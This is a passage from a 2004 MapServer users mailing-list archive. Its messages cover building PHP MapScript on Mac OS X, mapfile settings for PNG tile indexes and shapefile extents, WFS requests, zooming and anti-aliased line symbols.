for mapserver and php from FINK) > > The goal is to build MapServer Complete without Fink and with the > last libraries with double clic installer. > > Bye > > > > -- > _______________________________________________________________________ > _ > || Lorenzo Moretti e-mail: lorenzo.moretti at bologna.enea.it > ||/|/| ENEA prot/idr Web: http://wwwamb.bologna.enea.it/ > || | via Don Fiammelli, 2 FTP: ftp://ftpamb.bologna.enea.it/ > (res.) > ~~~~~~ 40128 BOLOGNA - ITALY Ph: +39-0516098086 Fax: +39-0516098131 > Download GRASS for MAC OS X: > http://wwwamb.bologna.enea.it/forgrass/ > _______________________________________________________________________ > _ > > > --============_-1132502765==_ma============ > Content-Type: text/plain; charset="us-ascii" ; format="flowed" > >> Gary, >> >> These instructions provide some hints on support library builds and >> compiling mapserver, though they are a little out of date: >> >> http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?MacOS >> >> With a recent version of OS X like 10.3 and recent versions of >> mapserver (from cvs) the build should proceed without problems after >> running configure. >> >> I encourage you to add any updated solutions you find to the wiki >> page above, so that others can benefit from your experiences. >> >> zak >> -- >> Zak James >> Applications and Software Development >> DM Solutions Group Inc. >> http://www.dmsolutions.ca >> >> >> On Mar 16, 2004, at 12:49 PM, Gary Condon wrote: >> >>> All, >>> >>> I am trying to get PHP MapScript up and running on Mac OS X 10.3 >>> but, so far, without success. >>> >>> I have tried using the precompiled version provided by Server >>> Logistics but I can't dl() the module under PHP 4.3.4 or 5.0b4. >>> >>> Has anybody out there gotten this to work? If so, how? >>> >>> Thanks is advance, >>> >>> Gary >>> >>> _______________________________________________ >>> Mapserver-users mailing list >>> Mapserver-users at lists.gis.umn.edu >>> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users >>> >> >> _______________________________________________ >> Mapserver-users mailing list >> Mapserver-users at lists.gis.umn.edu >> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From bigfoot at main-task.com Thu Mar 18 13:43:59 2004 From: bigfoot at main-task.com (=?ISO-8859-1?Q?Vladimir_Guzm=E1n?=) Date: Thu, 18 Mar 2004 16:43:59 -0500 Subject: [Mapserver-users] Fw: Solicitud de =?ISO-8859-1?Q?informaci=F3?= =?ISO-8859-1?Q?n?= In-Reply-To: <005201c40d20$af5def60$1fc3c3c3@corponor> References: <005201c40d20$af5def60$1fc3c3c3@corponor> Message-ID: <405A181F.2090808@main-task.com> Daniel: I think you have to do that using some script language like php, phyton or perl. The idea would be to get the id of the object based on an x-y click, and then query the database for information of that id. Hope that helps. ********************************* Yo creo que tendr?a que hacerlo usando alg?n lenguaje de script como php, phyton o perl. La idea ser?a obtener el id del objeto basado en un click en el mapa, y a partir de ah? hacer la consulta en la base de datos solicitando informaci?n sobre dicho id. Espero que sea de ayuda. Saludo cordial, Vladimir Ilich Guzm?n R. ------------------------ http://www.maintask.com DANIEL JAIMES PALACIOS wrote: > > ----- Original Message ----- > *From:* DANIEL JAIMES PALACIOS > *To:* mapserver-users at lists.gis.umn.edu > > *Sent:* Thursday, March 18, 2004 11:47 AM > *Subject:* Fw: Solicitud de informaci?n > > > ----- Original Message ----- > *From:* DANIEL JAIMES PALACIOS > *To:* MAPSERVER-USERS at LIST.GIS.UMN.EDU > > *Sent:* Thursday, March 18, 2004 11:41 AM > *Subject:* Solicitud de informaci?n > > hola lista, soy nuevo, estoy utilizando mapserver para windows, > configure un mapa de un municipio con varios layers y perfecto, lo que > necesito es como puedo acceder a datos de una Base de Datos ORACLE > desde mapserver, que cuando le de click sobre el mapa me ejecute una > consulta a oracle en un servidor y me muestre dicha informaci?n. > > > Gracias DANIEL JAIMES From wdw at rti.org Thu Mar 18 13:57:48 2004 From: wdw at rti.org (Wheaton, William D.) Date: Thu, 18 Mar 2004 16:57:48 -0500 Subject: [Mapserver-users] PHP MapScript on Mac OS X? Message-ID: Gary-- I was able to build mapserver (and php/mapscript) 3.7 on Macos 10.2.3 ...I created some fairly detailed instructions that might still be of use to you (even though mapserver is at 4.0 and Macos is at 10.3)... The document is at http://home.nc.rr.com/wwheaton (and it's linked at the bottom of this mapserver wiki page: http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?MacOS). It might answer some of your questions about where the php_mapscript.so goes and what the httpd.conf file show look like. Good luck. Bill ----------------------------------------- Bill Wheaton RTI International P.O. 12194, 3040 Cornwallis Rd. RTP, NC 27709 wdw at rti.org, 919-541-6158 (V), 919-541-8830 (F) -----Original Message----- From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of Gary Condon Sent: Thursday, March 18, 2004 3:56 PM To: mapserver-users at lists.gis.umn.edu Subject: Re: [Mapserver-users] PHP MapScript on Mac OS X? Lorenzo, Thanks for the info. I have a couple of questions ... - Where do you store the compiled php_mapscript.so? - Do you use PHP's dl() command to load the extension? If so, does it return anything? Also, does the extension_loaded() function return true? - Could you email a copy of your httpd.conf & php.ini files (and your php configure string if you have it)? I would be appreciative. Gary > Message: 43 > Date: Thu, 18 Mar 2004 15:22:08 +0100 > To: mapserver-users at lists.gis.umn.edu > From: Lorenzo Moretti > Subject: Re: [Mapserver-users] PHP MapScript on Mac OS X? > > I'm using MapServer-MapScript 4.0.1 under OSX 10.2.8. It works very > well and it's speed.... > > I have build mapserver/mapscript with PHP 4.3.3. Gdal is 1.1.9. I'm > working for a simple installer for all OS X users with last GDAL-OGR > 1.2.0 like my Grass Gis Complete on MAC OS X (see > http://wwwamb.bologna.enea.it/forgrass/ ). It's possible to work with > PHP/MapScript (.phtml suffix) toghether with PHP for Apache (.php) > with Apache under OS X. > > Now I have > /usr/local/php (normal php 4.3.3 for Apache) > /usr/local/php_cgi (all php 4.3.3 as CGI) > /WebServer/CGI-PHPMapServer (inside there is only a php link to > /usr/local/php_cgi/bin/php) > /WebServer/CGI-Executables (inside there is mapserv) > /sw (all libraries for mapserver and php from FINK) > > The goal is to build MapServer Complete without Fink and with the last > libraries with double clic installer. > > Bye > > > > -- > _______________________________________________________________________ > _ > || Lorenzo Moretti e-mail: lorenzo.moretti at bologna.enea.it > ||/|/| ENEA prot/idr Web: http://wwwamb.bologna.enea.it/ > || | via Don Fiammelli, 2 FTP: ftp://ftpamb.bologna.enea.it/ > (res.) > ~~~~~~ 40128 BOLOGNA - ITALY Ph: +39-0516098086 Fax: +39-0516098131 > Download GRASS for MAC OS X: > http://wwwamb.bologna.enea.it/forgrass/ > ______________________________________________________________________ > _ > _ > > > --============_-1132502765==_ma============ > Content-Type: text/plain; charset="us-ascii" ; format="flowed" > >> Gary, >> >> These instructions provide some hints on support library builds and >> compiling mapserver, though they are a little out of date: >> >> http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?MacOS >> >> With a recent version of OS X like 10.3 and recent versions of >> mapserver (from cvs) the build should proceed without problems after >> running configure. >> >> I encourage you to add any updated solutions you find to the wiki >> page above, so that others can benefit from your experiences. >> >> zak >> -- >> Zak James >> Applications and Software Development >> DM Solutions Group Inc. >> http://www.dmsolutions.ca >> >> >> On Mar 16, 2004, at 12:49 PM, Gary Condon wrote: >> >>> All, >>> >>> I am trying to get PHP MapScript up and running on Mac OS X 10.3 >>> but, so far, without success. >>> >>> I have tried using the precompiled version provided by Server >>> Logistics but I can't dl() the module under PHP 4.3.4 or 5.0b4. >>> >>> Has anybody out there gotten this to work? If so, how? >>> >>> Thanks is advance, >>> >>> Gary >>> >>> _______________________________________________ >>> Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu >>> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users >>> >> >> _______________________________________________ >> Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu >> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From gcondon at ll.mit.edu Thu Mar 18 14:25:34 2004 From: gcondon at ll.mit.edu (Gary Condon) Date: Thu, 18 Mar 2004 17:25:34 -0500 Subject: [Mapserver-users] PHP MapScript on Mac OS X? In-Reply-To: References: Message-ID: <2C5BD649-792B-11D8-8856-000393CACF38@ll.mit.edu> Bill, Thanks for your input. Zak pointed out the Wiki previously although I had already seen it. I am planning to follow it to the letter over the weekend. My concern with PHP 4.3.4 on Mac OS X 10.3.2 (now 10.3.3, I guess) is that my understanding is that the dl() mechanism is broken. Consistent with that, I can not seem to get dl() to work with any modules - php_mapscript or otherwise. To be fair, I have never need to use that mechanism before, even though I have been programming PHP for a couple of years, so I don't know if I am doing it correctly. I was hoping to get a yea or nay on whether the mechanism still works before going back to square one. I know I need to use PHP compiled as a CGI (rather than a DSO) and I can set it up that way (like you do). However, I have been struggling to get my DSO working with one extension and my CGI with the other at the same time. I was hoping to see a complete httpd.conf setup this way to cut to the chase but I'm sure if I keep beating on it I'll figure it out (although I still wouldn't mind seeing a dual-PHP httpd.conf *wink*). Gary On Mar 18, 2004, at 16:57, Wheaton, William D. wrote: > Gary-- > > I was able to build mapserver (and php/mapscript) 3.7 on Macos 10.2.3 > ...I > created some fairly detailed instructions that might still be of use > to you > (even though mapserver is at 4.0 and Macos is at 10.3)... > > The document is at http://home.nc.rr.com/wwheaton (and it's linked at > the > bottom of this mapserver wiki page: > http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?MacOS). It might answer > some of > your questions about where the php_mapscript.so goes and what the > httpd.conf > file show look like. Good luck. > > Bill > > > ----------------------------------------- > Bill Wheaton > RTI International > P.O. 12194, 3040 Cornwallis Rd. > RTP, NC 27709 > wdw at rti.org, 919-541-6158 (V), 919-541-8830 (F) > > > > -----Original Message----- > From: mapserver-users-admin at lists.gis.umn.edu > [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of Gary > Condon > Sent: Thursday, March 18, 2004 3:56 PM > To: mapserver-users at lists.gis.umn.edu > Subject: Re: [Mapserver-users] PHP MapScript on Mac OS X? > > > Lorenzo, > > Thanks for the info. I have a couple of questions ... > > - Where do you store the compiled php_mapscript.so? > > - Do you use PHP's dl() command to load the extension? If so, does it > return anything? Also, does the extension_loaded() function return > true? > > - Could you email a copy of your httpd.conf & php.ini files (and your > php configure string if you have it)? I would be appreciative. > > Gary > > >> Message: 43 >> Date: Thu, 18 Mar 2004 15:22:08 +0100 >> To: mapserver-users at lists.gis.umn.edu >> From: Lorenzo Moretti >> Subject: Re: [Mapserver-users] PHP MapScript on Mac OS X? >> >> I'm using MapServer-MapScript 4.0.1 under OSX 10.2.8. It works very >> well and it's speed.... >> >> I have build mapserver/mapscript with PHP 4.3.3. Gdal is 1.1.9. I'm >> working for a simple installer for all OS X users with last GDAL-OGR >> 1.2.0 like my Grass Gis Complete on MAC OS X (see >> http://wwwamb.bologna.enea.it/forgrass/ ). It's possible to work with >> PHP/MapScript (.phtml suffix) toghether with PHP for Apache (.php) >> with Apache under OS X. >> >> Now I have >> /usr/local/php (normal php 4.3.3 for Apache) >> /usr/local/php_cgi (all php 4.3.3 as CGI) >> /WebServer/CGI-PHPMapServer (inside there is only a php link to >> /usr/local/php_cgi/bin/php) >> /WebServer/CGI-Executables (inside there is mapserv) >> /sw (all libraries for mapserver and php from > FINK) >> >> The goal is to build MapServer Complete without Fink and with the last >> libraries with double clic installer. >> >> Bye >> >> >> >> -- >> ______________________________________________________________________ >> _ >> _ >> || Lorenzo Moretti e-mail: >> lorenzo.moretti at bologna.enea.it >> ||/|/| ENEA prot/idr Web: http://wwwamb.bologna.enea.it/ >> || | via Don Fiammelli, 2 FTP: ftp://ftpamb.bologna.enea.it/ >> (res.) >> ~~~~~~ 40128 BOLOGNA - ITALY Ph: +39-0516098086 Fax: >> +39-0516098131 >> Download GRASS for MAC OS X: >> http://wwwamb.bologna.enea.it/forgrass/ >> ______________________________________________________________________ >> _ >> _ >> >> >> --============_-1132502765==_ma============ >> Content-Type: text/plain; charset="us-ascii" ; format="flowed" >> >>> Gary, >>> >>> These instructions provide some hints on support library builds and >>> compiling mapserver, though they are a little out of date: >>> >>> http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?MacOS >>> >>> With a recent version of OS X like 10.3 and recent versions of >>> mapserver (from cvs) the build should proceed without problems after >>> running configure. >>> >>> I encourage you to add any updated solutions you find to the wiki >>> page above, so that others can benefit from your experiences. >>> >>> zak >>> -- >>> Zak James >>> Applications and Software Development >>> DM Solutions Group Inc. >>> http://www.dmsolutions.ca >>> >>> >>> On Mar 16, 2004, at 12:49 PM, Gary Condon wrote: >>> >>>> All, >>>> >>>> I am trying to get PHP MapScript up and running on Mac OS X 10.3 >>>> but, so far, without success. >>>> >>>> I have tried using the precompiled version provided by Server >>>> Logistics but I can't dl() the module under PHP 4.3.4 or 5.0b4. >>>> >>>> Has anybody out there gotten this to work? If so, how? >>>> >>>> Thanks is advance, >>>> >>>> Gary >>>> >>>> _______________________________________________ >>>> Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu >>>> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users >>>> >>> >>> _______________________________________________ >>> Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu >>> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users >> > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From bob.basques at ci.stpaul.mn.us Thu Mar 18 15:01:41 2004 From: bob.basques at ci.stpaul.mn.us (Bob Basques) Date: Thu, 18 Mar 2004 17:01:41 -0600 Subject: [Mapserver-users] Been trying all afternoon . . . Message-ID: <405A2A55.7030403@ci.stpaul.mn.us> All, Ok, I've been trying to get this working all afternoon. Trying to generate a PNG from a TILEINDEX of tiled PNG's (8bit I think with Alpha transparency) As far as I can tell, the Tile indexes are fine, this same general format (except for the OUTPUTFORMAT chunk works just fine for JPEG's) Right now I get an image that is all Light green, it's popping out as a PNG as well, so the mime type is right The images that MapServer should be reading from are like this: http://pwultra5.ci.stpaul.mn.us/cp_tiles/2002_property/L1T/570000_160000_1000_12_2002_SAINT_PAUL.PNG I created these with GD (for the transparent backgrounds), so they should be readable by MapServer. I did try the GDAL/PNG with no success, I'm wondering if I still don't have the MINSCALE/MAXSCALE thing correct, to test this I commented them all out and left only one LAYER uncommented to see if anything would be output, still nothing, it must be a format thing, right? Here is the MapFile at this point: # # Start of map file # MAP NAME PROPERTY STATUS ON SIZE 600 600 EXTENT 540000 135000 600000 175000 UNITS FEET SHAPEPATH "./data" ##IMAGECOLOR 255 255 255 FORMAT png24 OUTPUTFORMAT NAME png24 DRIVER "GD/PNG" IMAGEMODE RGBA MIMETYPE "image/png;depth=24" END ##IMAGETYPE PNG LAYER NAME "L3" STATUS DEFAULT TILEINDEX "RAST_STPL_PW_PRO_GIS_2002_06_L3T" TILEITEM "Location" TYPE RASTER GROUP "PROPERTY" MINSCALE 4001 ## MAXSCALE 8000 END LAYER NAME "L2" STATUS DEFAULT TILEINDEX "RAST_STPL_PW_PRO_GIS_2002_06_L2T" TILEITEM "Location" TYPE RASTER GROUP "PROPERTY" MINSCALE 2001 MAXSCALE 4000 END LAYER NAME "L1" STATUS DEFAULT TILEINDEX "RAST_STPL_PW_PRO_GIS_2002_06_L1T" TILEITEM "Location" TYPE RASTER GROUP "PROPERTY" MINSCALE 1001 MAXSCALE 2000 END LAYER NAME "L0" STATUS DEFAULT TILEINDEX "RAST_STPL_PW_PRO_GIS_2002_06_L0T" TILEITEM "Location" TYPE RASTER GROUP "PROPERTY" ##MINSCALE 501 MAXSCALE 1000 END END # Map File From scoota at supanet.com Thu Mar 18 15:08:48 2004 From: scoota at supanet.com (Keith Campbell) Date: Thu, 18 Mar 2004 23:08:48 +0000 Subject: [Mapserver-users] More WFS Problems Message-ID: <405A2C00.9040502@supanet.com> Hi, I have MapServer compiled with WFS server support. I've set up a mapfile with the required metadata tags, but when I attempt to access the WFS features I get an HTML page with a raster map. By access the WFS features, i mean I've used an HTTP request with the '&service=WFS&version=1.0.0&request=GetCapabilities' suffix, and also the '&service=WFS&version=1.0.0&request=GetFeature&TypeName=UrbanAreas,Motorways' suffix. In both cases an image is returned when I'm expecting GML. Any ideas why this might be? It's v4.0.1 on a Solaris. Cheers, Keith From bob.basques at ci.stpaul.mn.us Thu Mar 18 15:01:41 2004 From: bob.basques at ci.stpaul.mn.us (Bob Basques) Date: Thu, 18 Mar 2004 17:01:41 -0600 Subject: [Mapserver-users] Been trying all afternoon . . . Message-ID: <405A2A55.7030403@ci.stpaul.mn.us> All, Ok, I've been trying to get this working all afternoon. Trying to generate a PNG from a TILEINDEX of tiled PNG's (8bit I think with Alpha transparency) As far as I can tell, the Tile indexes are fine, this same general format (except for the OUTPUTFORMAT chunk works just fine for JPEG's) Right now I get an image that is all Light green, it's popping out as a PNG as well, so the mime type is right The images that MapServer should be reading from are like this: http://pwultra5.ci.stpaul.mn.us/cp_tiles/2002_property/L1T/570000_160000_1000_12_2002_SAINT_PAUL.PNG I created these with GD (for the transparent backgrounds), so they should be readable by MapServer. I did try the GDAL/PNG with no success, I'm wondering if I still don't have the MINSCALE/MAXSCALE thing correct, to test this I commented them all out and left only one LAYER uncommented to see if anything would be output, still nothing, it must be a format thing, right? Here is the MapFile at this point: # # Start of map file # MAP NAME PROPERTY STATUS ON SIZE 600 600 EXTENT 540000 135000 600000 175000 UNITS FEET SHAPEPATH "./data" ##IMAGECOLOR 255 255 255 FORMAT png24 OUTPUTFORMAT NAME png24 DRIVER "GD/PNG" IMAGEMODE RGBA MIMETYPE "image/png;depth=24" END ##IMAGETYPE PNG LAYER NAME "L3" STATUS DEFAULT TILEINDEX "RAST_STPL_PW_PRO_GIS_2002_06_L3T" TILEITEM "Location" TYPE RASTER GROUP "PROPERTY" MINSCALE 4001 ## MAXSCALE 8000 END LAYER NAME "L2" STATUS DEFAULT TILEINDEX "RAST_STPL_PW_PRO_GIS_2002_06_L2T" TILEITEM "Location" TYPE RASTER GROUP "PROPERTY" MINSCALE 2001 MAXSCALE 4000 END LAYER NAME "L1" STATUS DEFAULT TILEINDEX "RAST_STPL_PW_PRO_GIS_2002_06_L1T" TILEITEM "Location" TYPE RASTER GROUP "PROPERTY" MINSCALE 1001 MAXSCALE 2000 END LAYER NAME "L0" STATUS DEFAULT TILEINDEX "RAST_STPL_PW_PRO_GIS_2002_06_L0T" TILEITEM "Location" TYPE RASTER GROUP "PROPERTY" ##MINSCALE 501 MAXSCALE 1000 END END # Map File From zak-ms at hoppsan.org Thu Mar 18 18:41:29 2004 From: zak-ms at hoppsan.org (Zak James) Date: Thu, 18 Mar 2004 21:41:29 -0500 Subject: [Mapserver-users] PHP MapScript on Mac OS X? In-Reply-To: <0510D6F2-783F-11D8-8856-000393CACF38@ll.mit.edu> References: <4F922D99-7772-11D8-8856-000393CACF38@ll.mit.edu> <0510D6F2-783F-11D8-8856-000393CACF38@ll.mit.edu> Message-ID: Gary, In fact, it has been possible to use loadable libraries with php since version 10.1 of OS X. I've been running mapscript on 10.1 - 10.3.3 so rest assured that it will work. There's a lot of confusion on this dl issue because the apple dev site has an old article that incorrectly suggests it's not possible. The only wrinkle is that the library needs to be built as a 'bundle' for OS X so the linker flags are different than for most other unix platforms. This issue has been addressed in mapserver's configure script since last year so it builds 'out of the box'. You can read more about bundles here: http://www.kernelthread.com/mac/osx/programming.html zak -- Zak James Applications and Software Development DM Solutions Group Inc. http://www.dmsolutions.ca On Mar 17, 2004, at 1:15 PM, Gary Condon wrote: > Zak, > > Thanks for the reply. To be perfectly honest, although I was aware of > those instructions, I have not followed them to the letter yet because > of what I believe is a fundamental problem. > > To the best of my knowledge, the PHP dl() mechanism used in the > instructions is broken in Mac OS X - at least in PHP 4.3.4 on Mac OS X > 10.3.2. To follow the instructions precisely, I would need to build > up a 10.2.3 system (somewhat antiquated) with older versions of > MapServer & PHP. > > Although this is feasible, if cumbersome, I am still hoping that > somebody can / will report any verified success of using PHP MapScript > on relatively current builds of the Mac OS X environment. I would > also be interested in hearing about failures in order to avoid known > pitfalls. > > Gary > > On Mar 16, 2004, at 16:55, Zak James wrote: > >> Gary, >> >> These instructions provide some hints on support library builds and >> compiling mapserver, though they are a little out of date: >> >> http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?MacOS >> >> With a recent version of OS X like 10.3 and recent versions of >> mapserver (from cvs) the build should proceed without problems after >> running configure. >> >> I encourage you to add any updated solutions you find to the wiki >> page above, so that others can benefit from your experiences. >> >> zak >> -- >> Zak James >> Applications and Software Development >> DM Solutions Group Inc. >> http://www.dmsolutions.ca >> >> >> On Mar 16, 2004, at 12:49 PM, Gary Condon wrote: >> >>> All, >>> >>> I am trying to get PHP MapScript up and running on Mac OS X 10.3 >>> but, so far, without success. >>> >>> I have tried using the precompiled version provided by Server >>> Logistics but I can't dl() the module under PHP 4.3.4 or 5.0b4. >>> >>> Has anybody out there gotten this to work? If so, how? >>> >>> Thanks is advance, >>> >>> Gary >>> >>> _______________________________________________ >>> Mapserver-users mailing list >>> Mapserver-users at lists.gis.umn.edu >>> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users >>> >> >> _______________________________________________ >> Mapserver-users mailing list >> Mapserver-users at lists.gis.umn.edu >> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users >> > > From hientb24 at yahoo.com Thu Mar 18 18:57:47 2004 From: hientb24 at yahoo.com (hien thu) Date: Thu, 18 Mar 2004 18:57:47 -0800 (PST) Subject: [Mapserver-users] Extent Message-ID: <20040319025747.84720.qmail@web20729.mail.yahoo.com> --0-2013462930-1079665067=:84065 Content-Type: text/plain; charset=us-ascii Hello ! I use AcrWiew 3.0 software to create shapefiles (.dbf, .shp, .shx extention). Example : vung.dbf I Open file `vung.dbf' using driver `ESRI Shapefile' Layer name: vung Geometry: Polygon Feature Count: 7 Extent: (-95.809105, 41.500326) - (-82.209468, 48.311024) Layer SRS WKT: (unknown) ID: Integer (8.0) TENVUNG: String (16.0) LOP: String (16.0) OGRFeature(vung):0 ID (Integer) = 0 TENVUNG (String) = m?nota LOP (String) = nuoc POLYGON ((-95.80910507 48.31102390,-93.32853131 47.70176017,-94.41650226 47.37536889,-95.80910507 48.31102390)) OGRFeature(vung):1 ID (Integer) = 0 TENVUNG (String) = bfdb ..... example.map: MAP IMAGETYPE PNG EXTENT -95.809105 41.500326 82.209468 -48.311024 SIZE 400 300 SHAPEPATH "data" PROJECTION "proj=laea" "ellps=clrk66" "lat_0=45" "lon_0=-100" # # Alternatively, you can specify an EPSG code. # "init=epsg:2163" # END # Start of LAYER DEFINITIONS --------------------------------------------- LAYER # States polygon layer begins here NAME vung DATA vung STATUS DEFAULT TYPE POLYGON PROJECTION "init=epsg:4326" END CLASSITEM "LOP" CLASS EXPRESSION 'dat' COLOR 32 132 255 END CLASS COLOR 32 132 255 END CLASS EXPRESSION 'nuoc' COLOR 198 198 255 END END END # End mapfile But Image don't create without an error ? I don't understand what happened ? Can you tell me about " Extent" in Shapefile (e.g vung.dbf) relative with "Extent" in mapfile (e.g example.map) Thank you very much. Do you Yahoo!? Yahoo! Mail - More reliable, more storage, less spam --0-2013462930-1079665067=:84065 Content-Type: text/html; charset=us-ascii
Hello !
I use AcrWiew 3.0 software to create shapefiles (.dbf, .shp, .shx extention).
Example :  vung.dbf
I Open  file `vung.dbf' using driver `ESRI Shapefile'
 
Layer name: vung
Geometry: Polygon
Feature Count: 7
Extent: (-95.809105, 41.500326) - (-82.209468, 48.311024)
Layer SRS WKT:
(unknown)
ID: Integer (8.0)
TENVUNG: String (16.0)
LOP: String (16.0)
OGRFeature(vung):0
  ID (Integer) = 0
  TENVUNG (String) = m?nota
  LOP (String) = nuoc
  POLYGON ((-95.80910507 48.31102390,-93.32853131 47.70176017,-94.41650226 47.37536889,-95.80910507 48.31102390))
OGRFeature(vung):1
  ID (Integer) = 0
  TENVUNG (String) = bfdb
.....
 
example.map:
MAP
  IMAGETYPE      PNG
  EXTENT     -95.809105  41.500326     82.209468 -48.311024
  SIZE           400 300
  SHAPEPATH      "data"

 PROJECTION
    "proj=laea"
    "ellps=clrk66"
    "lat_0=45"
    "lon_0=-100"
  #
  # Alternatively, you can specify an EPSG code.
  # "init=epsg:2163"
  #
  END
 
  # Start of LAYER DEFINITIONS ---------------------------------------------
  LAYER # States polygon layer begins here
    NAME         vung
    DATA         vung
    STATUS       DEFAULT
    TYPE         POLYGON
 
    PROJECTION
      "init=epsg:4326"
    END
 
    CLASSITEM    "LOP"
    CLASS
      EXPRESSION 'dat'
       COLOR     32 132  255
    END
    CLASS
    COLOR     32 132  255
    END
    CLASS
      EXPRESSION 'nuoc'
       COLOR      198 198 255
    END
  END 
END # End mapfile
 
But Image don't create without an error ?
I don't understand what happened ?
Can you tell me about " Extent"  in Shapefile (e.g vung.dbf) relative with "Extent" in mapfile (e.g example.map)
Thank you very much.

Do you Yahoo!?
Yahoo! Mail - More reliable, more storage, less spam --0-2013462930-1079665067=:84065-- From cz_toh at yahoo.com Thu Mar 18 19:42:23 2004 From: cz_toh at yahoo.com (=?iso-8859-1?q?TOH=20CZ?=) Date: Fri, 19 Mar 2004 03:42:23 +0000 (GMT) Subject: [Mapserver-users] Help with zooming/panning Message-ID: <20040319034223.9213.qmail@web14003.mail.yahoo.com> Hi, I have done a simple program woith zooming and panning controls However when I zoom out, the map does not center on the point and instead, it moves away from it Here is my mapfile NAME TPGENMAP IMAGETYPE png EXTENT 0 0 758 450 SIZE 758 450 SHAPEPATH "." SYMBOLSET "C:/Program Files/Apache Group/Apache2/htdocs/tutorial/symbols/symbols35.sym" FONTSET "C:/Program Files/Apache Group/Apache2/htdocs/tutorial/fonts/fonts.list" WEB TEMPLATE 'C:/Program Files/Apache Group/Apache2/htdocs/tutorial/tpzoom.html' IMAGEPATH 'C:/Program Files/Apache Group/Apache2/htdocs/tutorial/tmp/' IMAGEURL 'C:/Program Files/Apache Group/Apache2/htdocs/tutorial/tmp/' END # Start of LAYER DEFINITIONS --------------------------------------------- LAYER # MODIS raster layer begins here NAME tpgenmap DATA tpgenmap.tif STATUS DEFAULT TYPE RASTER END END # MODIS raster layer ends here End of LAYER DEFINITIONS ------------------------------- END # end of map file Note that the image I use is only a picture ___________________________________________________________ Yahoo! Messenger - Communicate instantly..."Ping" your friends today! Download Messenger Now http://uk.messenger.yahoo.com/download/index.html From ms57 at streamyx.com Thu Mar 18 20:12:38 2004 From: ms57 at streamyx.com (Steve McCrone) Date: Fri, 19 Mar 2004 12:12:38 +0800 Subject: [Mapserver-users] Change Projection Message-ID: <001901c40d68$6ac4aa90$653a5edb@maps> Lets' say I have shape files that are in UTM and a specific spheroid (Indian 1975). I want the user to be able to switch between these UTM and WGS84 geographic coordinates. The main reason for tis is the user needs to switch between viewing mouse coordinates in UTM (Grid) and WGS84(Geographics). Thanks From tokr at tmapy.cz Thu Mar 18 23:28:37 2004 From: tokr at tmapy.cz (Tomas Krecmer) Date: Fri, 19 Mar 2004 08:28:37 +0100 Subject: [Mapserver-users] Anti-Aliasing of lines In-Reply-To: <4059698F.90903@atlas.gis.univie.ac.at> References: <4059698F.90903@atlas.gis.univie.ac.at> Message-ID: <405AA125.3000501@tmapy.cz> This is a multi-part message in MIME format. --------------060703010707040202050308 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit There is support in MapServer 4.x right now. Use a cartoline symbol. See the attached documentation. Tomas Alexander Pucher wrote: > Hi all, > > Steve, please excuse if this isn't the right place for this > discussion. I checked the GD documentation > (http://www.boutell.com/gd/manual2.0.22.html) and found this: > > ------------------------------------------ > What's new in version 2.0.12? > > [...] > > Support for fast drawing of antialiased lines and polygons, by Bright > Fulton and Frank Faubert. To learn more about this feature, read about > the gdImageSetAntiAliased > > function, which is used to set the foreground color for antialiasing, > as well as the gdAntiAliased > constant, > which is passed to line- and polygon-drawing functions in place of a > color. > > [...] > > gdAntiAliasing(CONSTANT) > Used in place of a color when invoking a line-drawing function such as > gdImageLine > or gdImageRectangle > . When > gdAntiAliased is used as the color, the foreground color set with > gdImageSetAntiAliased > is > used, with antialiasing mechanisms to minimize any "jagged" > appearance. For more information, see gdImageSetAntiAliased > . > > [...] > ------------------------------------------ > > So, it seems that GD is able to draw anti-aliased lines. Is there a > way to let mapserver use these functionality? > > Thanks for any input. > alex. > > > > Steve Lime wrote: > >> Yup, we can do what GD does at this point. >> Steve >> >> >> >>>>> Alexander Pucher 3/17/2004 8:12:14 >>>>> >>>> >> AM >>> >> Hi, >> >> what is the recent status of anti-aliasing of lines in MapServer. The >> limitation is GD, is this correct? >> >> regards, >> alex. >> >> _______________________________________________ >> Mapserver-users mailing list >> Mapserver-users at lists.gis.umn.edu >> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users >> >> >> >> > -- Tomas Krecmer, tomas.krecmer at tmapy.cz T-MAPY spol. s r.o., Nezvalova 850, 500 03 Hradec Kralove, Czech Republic, phone: + 420 49 5513335 , fax + 420 49 5513371 --------------060703010707040202050308 Content-Type: message/rfc822; name="Attached Message" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="Attached Message" Message-ID: <3F28BB2D.7040606 at tmapy.cz> Date: Thu, 31 Jul 2003 08:46:05 +0200 From: Tomas Krecmer User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.4) Gecko/20030624 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Steve Lime CC: tokr at tmapy.cz Subject: CartoLine symbol documentation References: In-Reply-To: Content-Type: multipart/mixed; boundary="------------080608050004080306030101" This is a multi-part message in MIME format. --------------080608050004080306030101 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Hi Steve, I added a few parts about the Cartoline symbol into the Mapfile reference file. Please correct it and put into the documentation. All added lines are RED. Have a nice day Tomas -- Tomas Krecmer, tomas.krecmer at tmapy.cz 